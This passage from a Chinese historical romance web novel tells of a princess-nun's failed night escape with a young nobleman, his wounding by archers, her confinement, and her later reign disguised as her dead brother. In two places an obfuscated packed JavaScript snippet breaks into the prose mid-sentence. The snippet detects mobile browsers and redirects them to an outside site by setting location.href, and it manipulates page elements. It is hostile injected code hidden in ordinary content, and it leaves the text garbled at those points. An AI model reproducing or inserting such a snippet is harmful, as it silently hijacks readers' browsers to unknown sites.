她想要哭,想要嘶喊,却被不知什么东西扼住了喉咙,发不出声,只有泪水如泉,簌簌滚落。 原来人痛极悲极,是发不出声音的。 宋海晏,你总是这般赤诚、坦荡,不掺一丝虚假,叫人难以招架。正因为你不知道我是什么人,才会有这么天真的想法。你不知道,我的命运早已被刻在冰冷的石碑上,无人能改。皇帝出家,大臣们可以将他赎回,而被皇帝敕命出家的人,却没有人可以赎回。 宋海晏,世间同人不同命,有的人一出生就贵为王侯,有的人一出生就拥有名之为“罪”的烙印。我渴望得救,但注定无法得救。你这样的想法,只会给你带来危险。 她说不出话,也哭不出声来,身体如筛糠一般在青石地板颤抖着、挣扎着,一双眸子空洞得骇人,宋海晏吓得脸色发白,大声道:“阿幸,你怎么了?” 他慌乱地将她抱起,触手之处冰凉得让他心惊。她的身体像一片枯叶,轻得仿佛随时会碎裂。他小心翼翼地将她放在床上,脸色苍白,眼中满是懊悔和自责。 “阿幸,我错了,你不喜欢听这些诨话,我就不再说了。你不喜欢我,我明天就离开这里。你不要生气,你等一下,我现在就去叫人过来——” 他就要离去,却被一只手攥住了衣摆。 宋海晏回头,见少女噙着的一双泪眼,她没有说话,他却从那一双眼中看到了哀求。 她在哀求他,不要走。 他在床边坐了下来,扯过被子将她盖住,可她的身体仍然止不住地发抖。宋海晏无奈,只能隔着被子紧紧抱着她,用自己宽阔的胸膛抚慰着她。 屋内一点一点黯淡下去,暮色从窗棂边缘淌入,最后几缕深琥珀色的光线舔舐着紧紧相拥的两人,在流苏帐间隐没,留下彻底的黑暗。 不知过了多久,阿幸自己的四肢渐渐恢复了温度和知觉。 黑夜不见五指,她什么也看不见。只能感觉自己隔着一床薄被,倚靠在男子的胸膛之上,身躯随着他的呼吸与心跳一起一伏。 白日时,他站在梨树下,濯如春柳,皎若青松,她觉得他是不存在的虚相。可此时此刻,她分明看不见他,他整个人在她心中却有了具体的形象。 她能从他的呼吸声中感知他高挺的鼻梁,深邃挺括的五官轮廓,能从紧紧箍着她的手臂感知他修长的胳膊和强劲的力量,能从他的胸口的起伏他健硕的男子躯体和此时汹涌澎湃的心绪。 凡有所相,皆是虚妄。 若目中不着相,便见实相。 若剥离这世间一切虚妄,爱便是唯一的实相。 她因这爱生出贪恋来。她贪恋他的怀抱,贪恋他的气息,甚至贪恋起这方阎浮世界的一切,贪恋那些曾以为与自己无关的温暖与光明。 她心中忽生出些许勇气来,她想要为自己活一次。她想和他一起离开这里,亲眼看一看他口中那个广阔的世界。 哪怕一眼也好,得到过一刻自由也行,就算以后再被抓回药师庵,这一生也再无遗憾。 她叫道:“阿晏。” 宋海晏似乎处于神游物外的状态,并未答话,于是她又叫了一遍:“阿晏。” 男子的身躯猛地动了一下,“你叫我什么?” “阿晏。”阿幸道:“你不喜欢我这样叫你吗?” “当然不是了。”宋海晏的声音带着惊喜:“我亲近的朋友都是这样叫我,你这么叫我很开心。” 他忽然意识到她已经恢复了,自己仍这样抱着她毕竟逾矩,他将那床薄被松开,慌乱道:“天黑了,我去点灯……” 他正要起身,阿幸道:“不要点灯,就这样……就很好……阿晏,你就坐在这里,我想和你说话……” “好。”宋海晏答应道。他似乎想说些什么,却又不知从何说起,只能将她的手握得更紧。 阿幸的声音轻得几乎听不见:“阿晏,你先前说想带我离开这里,是真心的吗?” “当然——”宋海晏立刻脱口而出。他顿了顿,似乎觉得两个字太敷衍,不足以表达他的真诚,又道:“阿幸,你放心。我虽出身行伍,但也不是性子鲁莽之人。一应事宜,我都安排妥帖。我上次让陈伯送信回去,便是要将你的事情告知我的母亲。她派陈伯送这四十万钱过来,必然是不反对这件事。我父亲为人古板,可能会不同意,但我母亲同意的事,我父亲也没办法,你不用担心。” “至于静仪师太那边,我觉得她也不会反对。我上次坠马装病的事,她一眼就能看穿,但还是让我留在知事堂。根据我这两个月的观察,她对你与对别人格外不同,似乎并不希望你长久留在这里。我若提出为你赎身,她多半会同意。” “你……阿幸,你愿意吗?”他不免又忐忑起来,然而这一次少女回答得很快,语气不带一丝犹豫:“好,阿晏。我愿意和你一起离开,我们今晚就走——” “啊,今晚就走?”宋海晏惊喜中带着错愕,“可现在已经是晚上了,现在去打扰静仪师太是不是不太好?” “不需要告诉师父,也不要再说什么赎身的事,她不会同意的,我们翻墙出去吧。”阿幸低声道:“你上次买书,也是翻墙出去的,应该有经验——” “有经验是有经验。”宋海晏还是不解:“可为什么……” “没有为什么,你想带我离开,一切就得听我的。”阿幸急切地说。她忽然伸出手,紧紧抓住宋海晏的衣袖,指尖微微颤抖,仿佛生怕他会从这漆黑的迷夜里消失。她的身体向前倾,几乎贴上了他的胸膛,呼吸急促而紊乱,像是用尽了全身的力气才说出接下来的话:“阿晏,过了今晚,我可能不会再有离开的勇气……我们只有这一次机会。” 宋海晏被她突如其来的动作惊得微微一怔,又很快反应过来,伸手覆上她的手背,用温暖的掌心包裹住她冰冷的指骨,低 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阿幸点燃烛火,开始收拾要带走的东西。她既然决定离开,抛弃这沙弥尼的身份,药师庵的东西也什么可带的,最终她只是从耳房带走了一套金针和一些伤药。 至于宋海晏,这十几箱银钱当然是无法带走,他只是随手抓了几把藏在荷包之中,以备路上使用。他负上随身携带的宝剑,将自己的弓箭别在腰间,又特意检查了碧棠送来的那只镔铁箭,珍之重之地将它收入箭囊之中,再将箭囊负在背上。 他牵着阿幸的手,推开了知事堂的大门。 夜风迎面扑来,带着一丝凉意。 今夜无月,苍蓝色的天幕垂下明灭不定的星子,微光熠熠,四野胧明,看不清楚前路。 远处的佛殿佛塔沉浸在夜色中,只有几盏孤灯在风中摇曳,像是无声的告别。阿幸回头望了一眼,心中涌起一股复杂的情绪。 虽然下定决心要走,但离开这座她生活了整整十四年的庵堂,还是让她生出几分忐忑和不舍。她很快收回目光,握紧了宋海晏的手,低声道:“走吧。” 上次宋海晏出去买书,曾翻过药师庵的围墙。他对这条路线早已熟悉:从知事堂出发,向西穿过两处佛殿,便能看见一人多高的外墙。翻过外墙,便是一片空旷的原野。原野的尽头是茂密的树林,枝叶交错,遮天蔽日。再往西五六里,就是鸡鸣镇。陈伯正在那里落脚,宋家的车马也停在那里。 他计划先带阿幸到鸡鸣镇,再乘马车返回庐江。静仪师太第二天发现阿幸失踪,或许会告知皇太孙妃齐宝珠。皇太孙萧樗虽正位东宫,却因身体孱弱,并未执掌实权。宋家世代镇守庐江,是国之封臣,太孙妃即便得知阿幸失踪,也不至于为了一个抄经的沙弥尼与宋家大动干戈。 长夜阒静,药师庵的外殿在夜色中显得格外空旷,连一丝人声也听不到,只有轻风拂过檐角的铜铃,发出细微的叮咚声。 宋海晏驾轻就熟,带着阿幸穿过幽暗的走廊,来到他上次翻出去的围墙之下。 17. 第十四章 孤注一掷 宋海晏蹲下身体,示意阿幸踩上他的背。看着他宽阔而坚实的肩膀,阿幸犹豫了一下,还是轻轻踩了上去。他稳稳起身,双手托住她的脚踝,将她送上墙头。接着,他后退几步,助跑几步,如猿猴般敏捷地攀上围墙,翻身而过,再伸手接应她下来。 声音惊动了栖息在附近树枝上的几只宿鸟,它们扑棱着张翅,消失在夜色之中。 星河耿耿,遥夜沉沉。 夜风扫过阿幸的脸颊,带来一丝凉意。她抬头望向远处,无垠的天幕与远方的旷野几乎融为一体,她从未想过,围墙外的天地竟是这般辽阔,内心也澎湃起来,轻轻吐出一口浊气。 宋海晏侧头看她:“阿幸,你怎么了?” 阿幸摇头:“我没事,我们尽快离开吧。” 宋海晏捉住阿幸的手,拉着她快速穿过药师庵外的空地。走出不远,阿幸忽地停下脚步,双目死死盯着前方不远处的一座佛塔。高耸的塔身隐没在夜色中,塔尖在星光下泛着冷光。她低声道:“不对,这里怎么会有一座塔?” 宋海晏诧异地看着她:“你不知道吗?药师庵东南西北四个方向,各有一座佛塔,将药师庵拱卫其中。我们从西边的围墙翻出来,这座塔应该就是西边的那一座……” 阿幸脸色苍白,心中升起一股不祥的预感,摇头道:“我读过不少佛教典籍,佛塔通常只会建在寺庙内部。建在寺庙外,还东西南北各有一座,这可能不是佛塔……” 宋海晏不以为意:“我们都已经出来了,就先不要想那么多了。穿过前方的树林,就能到鸡鸣镇,我们快走吧。” 话音未落,前方的佛塔上突然亮了起来,火把的光照亮了一角夜空。阿幸和宋海晏抬头望去,只见数名全身甲胄的羽林卫站在佛塔的最高层,手中的弓箭已经上弦,冰冷的箭尖正对着他们。夜风拂过,火把的光芒在羽林卫的铠甲上跳跃,映出森冷的寒光。 阿幸猛地将宋海晏推开,声音急促:“阿晏,你快走!回鸡鸣镇,快马回庐江去!不要管我——” 宋海晏愕然地看着她,“阿幸,不是说好我们一起离开的吗?你怎么能让我一个人走?” 就在这时,佛塔上传来一声厉喝:“何方宵小,竟敢挟持公主私逃,杀无赦——”那声音威严而冰冷,仿佛从地狱深处传来,令人不寒而栗。 随着一声令下,佛塔的每一层都亮起火光,耀眼的光芒将半边夜空照得如同白昼。两人这才看清,佛塔的每一层都站满了羽林卫,一个个弯弓搭箭,瞄准着他们。这哪里是佛塔,分明是一座精心设计的箭塔,只为防止有人私自出逃。 宋海晏的瞳孔猛地收缩,似乎明白了什么,却又难以置信。他看向阿幸,声音沙哑:“你是公主?这到底是怎么回事?” 没等阿幸回答,无数箭矢如飞蝗般倾泻而下,密密麻麻的箭影在夜空中划出冰冷的弧线,仿佛要将两人彻底淹没。阿幸大声道:“没时间解释了,你快走!我走不成了,你不要管我,自己走——” 宋海晏一咬牙,右手迅速抽出宝剑,剑光如电,将飞来的箭矢一一扫落。他的左手死死抓住阿幸的手,力道大得让她感到有些疼痛:“我带你一起走——” 阿幸数次试图挣脱他的手臂,可男子的手竟似铜铸铁焊一般,任凭她如何用力都无法挣脱。泪水从她的眼眶中涌出,道:“阿晏,你走吧。陛下在此设下羽林卫,他是不会放我离开的。你强行带我走,只会牵连到你的家人……” 宋海晏置若罔闻,只是将她的手臂箍得更紧。他的脚步更快了,拉扯得她身体像要飞起来。 阿幸从前不知药师庵外竟有如此多的守卫,但见这羽林卫的架势,就凭他们两人,无论如何也不可能逃出生天,只好将一切对宋海晏和盘托出,盼他能改变心意,她流泪道:“阿晏,我三岁在药师庵出家,是一位禅师说我的皇祖父杀人太多,所以萧氏皇族子孙不盛。我要在寺庙修行祈福,才能弥补这份罪愆。阿晏,皇祖父不会让我离开的,我的命运早已注定,无人可以更改……” 她声音哽咽:“阿晏,你自己走吧,这一生能认识你,我已经足够幸运,对得起你给我的名字……你离开吧,忘了我,就当这药师庵的一切都是一场梦……” 宋海晏仍然像完全没听到一样,只顾拉着她发足狂奔。 就在此时,远方传来一阵急促的马蹄声,像是滚滚奔雷,在寂静的夜色中炸响。 阿幸回头望去,只见南北两方的佛塔也亮起灯火,火光映照下,骑马的军士手持火把,如同一条火龙般飞快朝这边合围。马蹄声震耳欲聋,火把的光芒在夜色中交织成一张巨网,要将他们网罗其中。 阿幸不知从哪里来的力气,猛地定住脚步,声音嘶哑而决绝:“宋海晏,你放开我!我后悔了,我不走了…… 宋海晏被她带着脚步一停,仍紧紧抓住她的手,“阿幸,我是不会自己走的,要走一起走。只要在合围之前进入树林,我们就有机会逃走——” “你有没有想过,携公主私逃,是叛国之罪,你的家人怎么办?” “只要不被他们抓住,谁能证明是我带走了公主?好男儿四海为家,大不了我不回庐江了——”宋海晏的眼中闪过孤注一掷的疯狂与决绝,脚下又开始发力,向两军合围中间的缺口冲去,阿幸脚步踉跄,被他拉着奔跑。 就在这时,阿幸听到了一道尖锐的破空之声—— 那是铁箭撕裂夜风时发出的呼啸声,那声音极响,如同劲风鼓动她的耳膜,震得她的后脑一阵发麻。 阿幸猛地回头,眼睁睁看着那支重箭穿透夜空,如同一道黑色的闪电,直直射入宋海晏的后心。 拉着她的力道松开,宋海晏的身体猛地一颤,白衣瞬间被黑血浸透。他失去了全身的力气,倒在血泊之中。 一名手持弓箭、着羽林卫铠甲的将军骑马从后赶上,目光冰冷地扫过倒落在地上的躯体。他抽出佩刀,更多的甲兵从四面八方合围过来,将两人围在中间。 阿幸感到一阵刺骨的恐惧,她猛地扑到宋海晏身上,用自己的身体护住他,一声声哀求道:“将军,是我自己想逃走,求他带我出来。这不关他的事,求你们放过他……我愿意回到药师庵,我愿意抄经,我愿意赎罪,我以后再也不逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279682|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……求你们放过他……” 将军眼神如利刃,声音中没有一丝温度:“公主,这名逆贼意图挟持公主私逃,死罪难赦。公主千金之躯,末将万不敢伤,请您让开,莫让末将为难。” “不……是我的错,是我诱他带我出逃。”阿幸紧紧抱着宋海晏流血不止的身体,大哭起来:“不,你们要杀他就先杀了我……” 将军眼中露出不耐烦的神色,示意左右:“你们两个,去请公主回到药师庵……” 两名羽林卫下马,慢慢朝阿幸靠近。阿幸将心一横,从怀中摸出一把匕首,将锋利的刀刃紧紧贴在颈前,大声道:“你们谁敢过来,我就当场自尽……我如果死在这里,你们要如何向皇帝陛下交代——” 两名羽林卫面面相觑,犹豫不决。他们看向骑在马上的将军,终究不敢向前一步。 “阿弥陀佛,我佛慈悲……”清夜里传来一声佛号。远处,静仪师太手持念珠,领着几名年长的尼师从容靠近,这场变故终于还是惊动了药师庵的掌舵人。 “阿弥陀佛。”静仪师太走到将军面前,双手合十,行了一个佛礼,道:“高将军,此事毕竟发生在我药师庵。高将军可否容贫尼说两句话?” 公主以死相逼,高将军正左右为难,不知如何是好,点头道:“师太请讲。” 静仪师太看向倒在血泊中的宋海晏,眼中闪过一丝怜悯,轻叹一声:“高将军,依贫尼之见,此人杀不得。如果他死在这里,恐怕祸及将军满门。” 高将军的脸色骤然一变,眉头紧锁:“哦?此话怎讲?” “高将军恐怕不知他的身份,此人名叫宋海晏,出身庐江宋家,是如今庐江刺史宋寒章的公子,他的母亲则出身江陵何氏,如今替朝廷镇守荆襄的都督何长龄,是他的舅舅。我大楚皇帝陛下入主金陵后,庐江、荆襄各地方豪强上表归降,共同抵御北方胡族南侵,这才保住江南半壁江山。” 静仪师太道:“如果庐江刺史的长公子、荆襄的大都督的外甥死在高将军你的手上,大楚西北防线恐怕生变。皇帝陛下为了平息宋家、何家的怒气,只会将高将军你的人头送出去,以保朝廷上下君臣一心。” 高将军收回佩刀,惊觉背后竟出了一身冷汗。他下马抱拳,语气中带着一丝犹豫:“可是本将军奉皇帝陛下的命令,在此守护公主。这小子想要携公主私逃,我若轻轻放过,如何向陛下交代?” 静仪师太道:“此事简单,将军可以连夜具表,将事情告知陛下,由陛下亲自决断。至于宋海晏,就由我先带回药师庵治伤。一箭穿心,就算不死也要了半条命,绝无可能在重兵包围下逃走。如果陛下下旨要杀他,将军再来找我要人,如何?” 高将军想了想,也没有更好的办法,便点头道:“那就先按师太所说的办吧。”他命羽林卫散去,返回各自驻所。 静仪师太则指挥比丘尼们寻来一副担架,将重伤昏迷的宋海晏抬回去。阿幸见宋海晏暂时保全,心中一块石头终于落地。她今日思虑颇重,未曾饮食,这一阵心绪大起大落,早已心力交瘁,此刻一口气泄了下来,竟也昏厥过去。 18. 第十五章 梦幻泡影 清晨,药师庵内下了一场小雨。 阿幸睁眼时,湿冷的水汽从门缝中钻入,与供奉佛前的宝塔檀香的烟柱相融,水雾沿着金身佛像的衣饰纹路攀缘而上,掩去药师佛的弯垂眉眼,不见菩萨慈悲面目,只见佛前一对楹联。 大千世界,不出一念心性。 百亿劫中,无非刹那光阴。 阿幸看着那副对联,怔了半晌。 静慧师姑端着几个馒头推门而入,见她醒了,紧拧的眉目展出一丝喜色来:“阿苦,你醒了。你之前饿了一天,又情志磨损,以致晕厥,先吃点东西吧……” 阿幸拿了一个馒头,咬了一口,竟难以下咽,抬眼望向静慧师太,问道:“师姑,宋公子呢,他现在怎么样了?” 静慧师太叹了一口气,眼神中全是责备,又夹杂着一丝心疼:“那一箭透胸而过,若是再偏半寸,就直接要了他的命。你呀,唉……”她顿了顿,看着阿幸苍白的脸色,终究不忍再说重话,指了指一墙之隔的内殿,低声道:“你师父正在为他治伤,具体如何,要等她出来才知道。” 直到雨停,静仪师太方才从内殿出来,阿幸忙迎了上去,问道:“师父,宋公子……他如何了?”一开口,她方觉自己的声音低哑得可怕。 静仪师太眉目间带着一丝疲惫,忧声道:“命算是暂时保住了,但人不知何时能醒。” 阿幸面色死灰,跌坐在蒲团之上。 静仪师太知她心内不好受,却忍不住责备道:“公主,你太鲁莽了。我知道你不想留在这里,但此事急不得,夜奔更是下下之策……”她摇头道:“我曾对你说过,陛下身体不好,也就是一两年的工夫。就算你喜欢宋公子,等到你哥哥继位,此事尚有转圜的余地,可你这么一闹……” 她愁容满面,不断唉声叹气:“如今这样,只怕牵累宋公子的性命——” 阿幸心内一惊,道:“师父不是说他的命保住了吗?” 静仪师太道:“我这里是能保住,但陛下那边未必,高将军已连夜将此事报知陛下,最迟一两日,宫中就有旨意下来。我之前那番话只是吓唬高将军,叫他不敢妄动,拖延时间。陛下如今年迈,又因为后嗣子孙之事,脾气越发暴戾。如果陛下一怒之下,真要将宋海晏处死,宋家、何家远在天边,又能如之奈何?” 静仪师太眉目低垂,那双因常年修佛而平和的眼睛此刻也布满了深深的忧虑。别的不提,她向来与宋海晏的母亲交好,若宋海晏在此殒命,她又该如何交代? 阿幸膝行两步,在静仪师太面前跪下:“师父,我有个办法可以救下他。我这便修书向陛下请罪,只说是我不愿抄经,便引诱于他,央他同我夜奔。他并无挟我私逃之意,这一切全是我的过错。恳求陛下看在他曾有功于国的份上,饶过他的性命……求师父想办法尽快将请罪书送往宫中……” 静仪师太脸上忧色更深:“如此一来,陛下对你必有重惩……” 阿幸垂泪道:“如今也没有别的办法。就算陛下再生我的气,总不会杀了我。” 静仪师太深深叹了一口气,目光落在阿幸的脸上,眼中闪过无奈:“好吧。” *** 六月,是江南的雨季。 药师庵一连下了七日的雨,雨珠如断线的珠子,一颗颗滚落地上,又化作雨雾,霭霭升腾起来,将万物的界限抹去,连成一片朦胧的灰白,连近处庵堂的轮廓都模糊不清。 几只斑鸠从雨中归来,停在檐下,抖落羽毛上的水。宋海晏屈腿倚坐在廊檐之下,任水汽漫上来,将衣摆浸得潮湿。他的目光落在阿幸曾住的禅房,那里门窗紧闭,仿佛从未有人居住过。他的手指轻抚胸口的箭伤,任那股隐痛浮上来。 知事堂的大门发出一声喑哑的声响,宋海晏抬头时,见静仪师太撑着一柄青灰纸伞,走了进来。 他站起身,躬身行礼:“师太。” “阿弥陀佛。”静仪师太回了一个佛礼,道:“宋公子今日能出门走动,想必已是大安了。” 宋海晏道:“托师太妙手,我已无大碍。” “公子无事便好。”静仪师太面露宽慰之色,道:“另有一事,需告公子知情。公子受箭伤的事,你家中已经知晓。您的胞妹,名讳碧棠的宋家女公子今日已亲自到了庵堂,要接你回庐江,如今正在前殿等候,请公子出去相见。” 宋海晏微微一怔:“碧棠亲自到了?” 静仪师太点头:“您的母亲已经延请了名医到了庐江,她的意思是公子还是回家中养病比较方便。” 宋海晏面露苦笑。他自二月到药师庵养病,却是旧伤已愈,又添新伤,如今已到了不得不离开的时候。 他转头看向阿幸住过的禅房:“不知临走之前,我能不能再见公主一面?”自他苏醒之后,静仪师太重新将他移回知事堂养伤,然而每日都是静慧师太前来换药照料。隔壁的禅房始终无人居住,他也再没有见过阿幸。 他心知夜奔之后,再难见到阿幸。然而临别在即,他还是希望能再见她一次。 静仪师太轻轻摇头:“此事不行。” 宋海晏:“为何?” 静仪师太道:“上次的事,陛下念你于国有功,又被公主引诱利用,少年人血气方刚,一时把持不住,是以携公主夜奔,此事归根结底,错不在你,才不予追责,允许你自行还家。至于公主,她奉命在庵中修行,却不思清净,反做出羞耻之事。陛下已下令,将她幽禁别处,就算是我也难见一面。” 宋海晏讶然,辩解道:“师太,这其中一定有所误会。公主本无意私逃,是我强行携公主离开——” 静仪师太打断道:“宋公子,事发第二日,公主已经亲自上书请罪,具陈己过,陛下也接受了这样的说辞。事情过去了一个月,一切都已成定论,你怎么想并不重要。你的家人就在外面,等着接你回去,请勿因为公主的事继续在此逗留,于你、于宋家,都毫无裨益。” 宋海晏抬头,见檐外细雨如织,结成一张白色的珠幕,笼盖住天地间的一切,茫茫然什么也看不清楚。他捂住胸口,那处尚未愈合的箭伤在此时发作,化作绵密的锐痛,摧人肝肠,痛入心扉。 “公子,切勿心伤,于病情无益……”静仪师太扶着他重新坐下,面露不忍之色,轻声道:“无须担心,她身负大楚国祚。就算有错,陛下也不会杀她。你感觉如何了?” “我没事……还想求师太一件事。”宋海晏又缓了一会,终于觉得胸口钝痛下去一些。他从身后摸出一支镔铁箭来,折去前端尖锐的箭镞,递给静仪师太。“如果师太有机会见到公主,请将这支箭带给她,再帮我转告她一句话。” 宋海晏收敛温和眉目,脸上又露出少年的桀骜不驯来,坚定道:“请她再等我一段时间,我会回来带她离开。我不是想想而已,而是准备好了怎么做。我宋海晏既然说出口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279683|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一定能做到。” 这句话彰显着不可动摇的决心。 “你——”静仪师太抬头,眼露苛责的怒意。少年人如此执拗,她对宋海晏的一番苦心劝说全然白费了。 她终究叹了一口气,没有再说话,将那只镔铁箭收了起来。 *** 雨声沥沥,响在幽静的廊庑深处。 这是一处皇室用来幽闭罪人的场所,四面都是瓦舍。只在中间留有一处小小天井,漏出些许天光。阿幸伏于案上,借着天井透来的一点天光,抄写经文。 因夜奔之事,她被皇帝下旨申斥,幽禁三月,而其中礼佛抄经之事,自是必不可少,为此,圣意专门下令将此处改建为一处佛堂。圣旨下时,她以为自己会难过,其实那时她几乎没什么情绪。如果不得自由,被圈养在药师庵,还是被幽禁在这方罪所,对她而言并无什么差别。 “静仪师太,您怎么来了?”忽地,她听到门外传来奉命看守的羽林军校尉高将军的说话声。 静仪师太低沉的声音响起:“我来看看公主。” 高将军道:“公主无事,陛下谕令,公主需禁闭三月,这段时间由我看守,任何人不得探望。” 静仪师太道:“那我不见公主,只说两句话就走。这是一点心意,请高将军行个方便。” 紧接着她听到铁钱相击的声音,清脆而冰冷。 又过了一会,高将军道:“那你们长话短说,我一会儿再来。”脚步声逐渐远去,似是消失在雨声中。 窗扉轻轻叩动了两声。 阿幸行到窗边,低声道:“师父,我没事,您不用费心来看我。” 窗纸被捅破,一支失去箭镞的铁箭从窗格中探入,静仪师太道:“我也并不想来,宋公子已经离开药师庵,回庐江去了。他临走之前,让我将这只铁箭带给你,另外传两句话。” 刹那间,阿幸眼中闪过一道暗光。 “他说,让你再等一段时间,他会回来带你离开。他说出口的承诺,一定能做到。” 静仪师太停顿了一下,又道:“世间事知易行难,更难能可贵的是,知其难还要迎难而上。他有此心志,为师自不能负人所托。为师走了,你自己保重。” 窗扉外寂静无声,静仪师太已然远去。 阿幸拿着箭支,走到庭中天井处,她学着宋海晏的样子,将箭镞与箭身的接口处轻轻旋转,中空的箭管中掉出一张纸来,阿幸将纸条展开,上面写着八个字:“我心匪石,不可转也。” 阿幸抬起头,天光从紧窄的天井中漏下。 她忽然想起那日在师父的禅房见的那一尊佛像,和佛前的那一副对联。 大千世界,不出一念心性。 百亿劫中,无非刹那光阴。 他们这一番过往,是他的一念心性,还是她的刹那光阴呢? 雨水落在屋檐上,在瓦脊间汇聚成一条条细流,沿着青瓦的沟槽蜿蜒而下,落在天井之中。 她伸出手,想掬住那水流,想使它停在这一个刹那。就像他们拼尽全力,想要将某种东西留住。 可水滴终究坠下,落入天井下方的水槽中,在水面砸出一个巨大的泡泡,随即碎裂,溶于水中再也不见。 如同眼前的刹那融入过往的无数光阴,再不见少年曾经的模样。 如梦、幻、泡、影。 ——第一卷《如梦幻泡影》完。 19. 第一章 金钩细细 元日。 正是辞旧迎新之时。 金陵城外的寒风裹挟着细雪,吹过宫墙,卷起檐角的铜铃,发出清脆的声响。 按照朝廷惯例,这一日要举行元日朝会,群臣聚集在东阁内,依品轶高低轮流向皇帝贺拜,向皇帝进献寿酒,皇帝则赐下御膳,宴饮歌舞,兴尽方散。 今年有些例外。 旧年冬月底,大楚武帝萧胥驾崩,到如今堪堪一个月。国丧之期刚过,一切从简。御阶下,群臣列次而立,衣冠整齐,神情肃穆。 萧含光着帝王冕服,高坐于御台之上。她身形瘦薄,着此宽袍颇有些弱不胜衣之感,只得努力将背脊挺直些,作出庄重模样来。好在从前太孙身体不好,形容消瘦,倒也无人觉得有异样。 距离她最近者为文官之首司徒公齐鸿。 这位国舅爷今年已是五十六岁的年龄,虽两鬓斑白,并不显老态。他出班走到皇帝御座前跪下,将屠苏酒酌满一斟,进献给黄门郎,再由黄门郎跪献至御台前。齐鸿又自斟一杯,跪奏道:“臣齐鸿奉觞再拜,恭祝陛下龙体安泰,万寿无疆。” 百官一起伏地,三呼万岁。 萧含光举起酒爵,心中涌起一阵恍惚。一个多月前,她还是药师庵中的“阿苦”,如今却成了这天下至尊。 冕旒垂下的白玉珠帘微微晃动,遮住了她眼中的复杂情绪。她目光淡扫过跪列的文武大臣,朗声道:“众卿平身。历岁惟新,朕与诸卿同贺之。”她将酒爵奉至唇前,饮了一口,咽下其中辛辣味道。百官起身,一起端起屠苏酒,一饮而尽。萧含光又命赐下御食,众臣依位次入席进食。 酒食已毕,黄门郎宣布散朝并休沐七日。过了初七“人日”后,百官才复朝。在众臣恭祝声中,萧含光离席,乘上御辇,在宫人的导引下,向正光殿行去。 御辇为八人所抬,行走极稳。萧含光端坐帷幔之中,龙纹冕服下方垂坠的繁复縠纱都不曾晃动分毫,唯有清风徐入时,天子额前的白玉冕旒轻轻作响。无人知晓她背上衣衫已被汗水洇湿。 此刻距离她大婚已过去一个月。那日她以皇太孙萧樗的身份在灵前匆匆继位,彼时皇帝大丧,朝中诸事繁杂,又因为皇太孙素来身体欠佳,治丧之事多由太皇太后和国舅爷做主,她只在丧礼时按黄门郎的导引完成规定的仪式。 丧仪之后,太皇太后派了两位宫廷女官到她身边。 一位是从前皇太孙身边的掌事女官楚秋筠,教她模仿从前皇太孙萧樗的举止仪态、行为习惯等,使她的举止行为尽可能与萧樗相似。 另外一位则是太皇太后身边的女史白令瑶,教导她各种皇帝需知的宫廷礼仪及朝堂常识。如皇帝面对百官时,需自称为“朕”,称呼臣子为“爱卿”或“某卿”。又譬如本朝一应典章制度承汉魏,朝中自三公九卿以下,各有职司,地方有一百五十郡,各郡有太守、都尉分辖行政、军事诸务。又譬如本朝选官循前朝旧制,各部官员多依门第,由地方推选。萧含光从小在庵堂长大,对这些宫内本应熟知的常理一窍不通,只好日夜用功,将女官所教囫囵吞枣地咽下。 今日的元日朝会,是她第一次以皇帝的身份单独面见群臣。虽没有出什么差错,也惊出一身冷汗。 她回到正光殿时,两位宫廷女官楚秋筠和白令瑶正在殿檐下等她。 楚秋筠微微躬身,低声道:“陛下今日表现甚好,诸大臣无人怀疑陛下的身份,太皇太后很是满意。” 萧含光颔首,不动声色道:“朕知道了。” 白令瑶亦道:“陛下十分用功,比我预计的进展更快,我已经没什么可以教导陛下了。太皇太后有旨,我二人的职司已经完成,明日将由她亲自教导陛下为君之道。” 萧含光心中一紧。虽然时间已经过去一个月,那晚椒房殿发生的事和太皇太后那怨毒的眼神,仍然是她心中挥之不去的阴影,实在不怎么愿意面对那位与她有着血缘之亲的祖母。 然而,在严苛的太皇太后面前,她没有说“不”的权利。萧含光也不愿意表现出胆怯,她压下心中的不安,淡淡道:“好。” 白令瑶随着她进入内殿,将一扎字帖放在书案上:“太皇太后口谕,陛下虽十分用功,但所书字迹与太孙殿下差别极大。在接下来的三个月,陛下需每日临金钩贴三张,直到神形俱似为止。” 萧含光瞥了一眼字帖,问道:“朕何时可以面见母后?” 白令瑶道:“陛下放心,苏太后平安无事。陛下只要能达到太皇太后的要求,自然不难见到娘娘。” 萧含光心中叹了一口气,她知道,这是太皇太后的又一次要挟。母亲是她在这深宫中唯一的牵挂,她很清楚,自己必须更加谨慎,才能保护母亲的安全。 她答道:“朕知道了,你们下去吧。” 两名女官行礼之后,退了出去。 萧含光展开桌上的字帖,金粉在幽晦的日光下泛起细碎的冷光,萧樗纤薄绮丽的字锋从纸面透出,那是一首五言乐府。 生年不满百,常怀千岁忧。 昼短苦夜长,何不秉烛游。 为乐当及时,何能待来兹。 愚者爱惜费,但为后世嗤。 仙人王子乔,难可与等期。 萧含光这段时日从女官楚秋筠口中,对哥哥的生平有了更多了解。她这位兄长平生耽溺声色,实在乏善可陈,唯一可称道之处便是自创了这名为“金钩细”的书法。 